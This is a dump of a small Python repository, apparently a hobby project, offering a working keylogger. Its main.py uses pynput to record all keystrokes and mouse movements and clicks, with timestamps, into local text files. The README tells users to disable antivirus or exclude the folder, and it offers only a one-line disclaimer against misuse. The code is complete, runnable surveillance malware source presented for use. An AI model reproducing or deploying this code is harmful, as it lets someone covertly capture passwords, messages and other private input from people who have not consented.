├── .gitattributes ├── .gitignore ├── README.md ├── main.py ├── requirements.txt ├── run.sh └── views ├── herobanner.jpg └── icon1.png /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | log.txt 2 | log.txt 3 | mouse_record.txt 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
Simple keylogger made with python that will save all your input and export to a txt file
2 |
3 |
4 |
6 | > To use it type in terminal/Powershell: 7 | ```python main.py``` 8 | (press Escape/ESC on your keyboard to turn it off)
9 |10 | You will have to turn off your anti-virus or exclude the folder where the file is. 11 |
12 |13 | Please do not use this for malicious intentions! 14 |
15 |16 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | import pynput 3 | 4 | # Define constants 5 | KEY_LOG_FILE = "key_log.txt" 6 | MOUSE_LOG_FILE = "mouse_log.txt" 7 | MAX_KEYS = 10 8 | 9 | # Initialize key counter and list of keys 10 | key_count = 0 11 | key_list = [] 12 | 13 | # Initialize mouse listener and list of mouse events 14 | mouse_list = [] 15 | 16 | # Define keyboard event callbacks 17 | 18 | 19 | def on_press(key): 20 | global key_count, key_list 21 | 22 | # Append key to list and increment counter 23 | key_list.append(key) 24 | key_count += 1 25 | 26 | # Write keys to file if count threshold is reached 27 | if key_count >= MAX_KEYS: 28 | write_key_file(key_list) 29 | key_list = [] 30 | key_count = 0 31 | 32 | 33 | def write_key_file(keys): 34 | with open(KEY_LOG_FILE, "a") as f: 35 | now = datetime.now() 36 | date_time = now.strftime("%m/%d/%Y, %H:%M:%S") 37 | f.write(f"\n\n{date_time}\n") 38 | words = [] 39 | for key in keys: 40 | k = str(key).replace("'", "") 41 | if k == "Key.enter": 42 | f.write("".join(words) + "\n") 43 | words = [] 44 | elif k == "Key.space": 45 | words.append(" ") 46 | elif k.find("Key") == -1: 47 | words.append(k) 48 | f.write("".join(words)) 49 | 50 | 51 | def on_release(key): 52 | if key == pynput.keyboard.Key.esc: 53 | # Stop mouse listener and exit keyboard listener 54 | mouse_listener.stop() 55 | return False 56 | 57 | # Define mouse event callbacks 58 | 59 | 60 | def on_move(x, y): 61 | global mouse_list 62 | mouse_list.append(f"Moved to ({x}, {y})") 63 | 64 | 65 | def on_click(x, y, button, pressed): 66 | global mouse_list 67 | mouse_list.append( 68 | f"{button} {'pressed' if pressed else 'released'} at ({x}, {y})") 69 | 70 | # Write mouse events to file if escape button is pressed 71 | if not pressed and button == pynput.mouse.Button.left: 72 | write_mouse_file(mouse_list) 73 | mouse_list = [] 74 | 75 | 76 | def write_mouse_file(mouse_events): 77 | with open(MOUSE_LOG_FILE, "a") as f: 78 | now = datetime.now() 79 | date_time = now.strftime("%m/%d/%Y, %H:%M:%S") 80 | f.write(f"\n\n{date_time}\n") 81 | for event in mouse_events: 82 | f.write(event + "\n") 83 | 84 | 85 | # Start listeners 86 | mouse_listener = pynput.mouse.Listener(on_move=on_move, on_click=on_click) 87 | mouse_listener.start() 88 | 89 | with pynput.keyboard.Listener(on_press=on_press, on_release=on_release) as key_listener: 90 | key_listener.join() 91 | mouse_listener.join() 92 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pynput==1.7.3 2 | -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | chmod +x run.sh 3 | python main.py 4 | -------------------------------------------------------------------------------- /views/herobanner.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alejandroatacho/keylogger-python/f0a48546779111eb17d0a7a11d4c343ae577a37f/views/herobanner.jpg -------------------------------------------------------------------------------- /views/icon1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alejandroatacho/keylogger-python/f0a48546779111eb17d0a7a11d4c343ae577a37f/views/icon1.png --------------------------------------------------------------------------------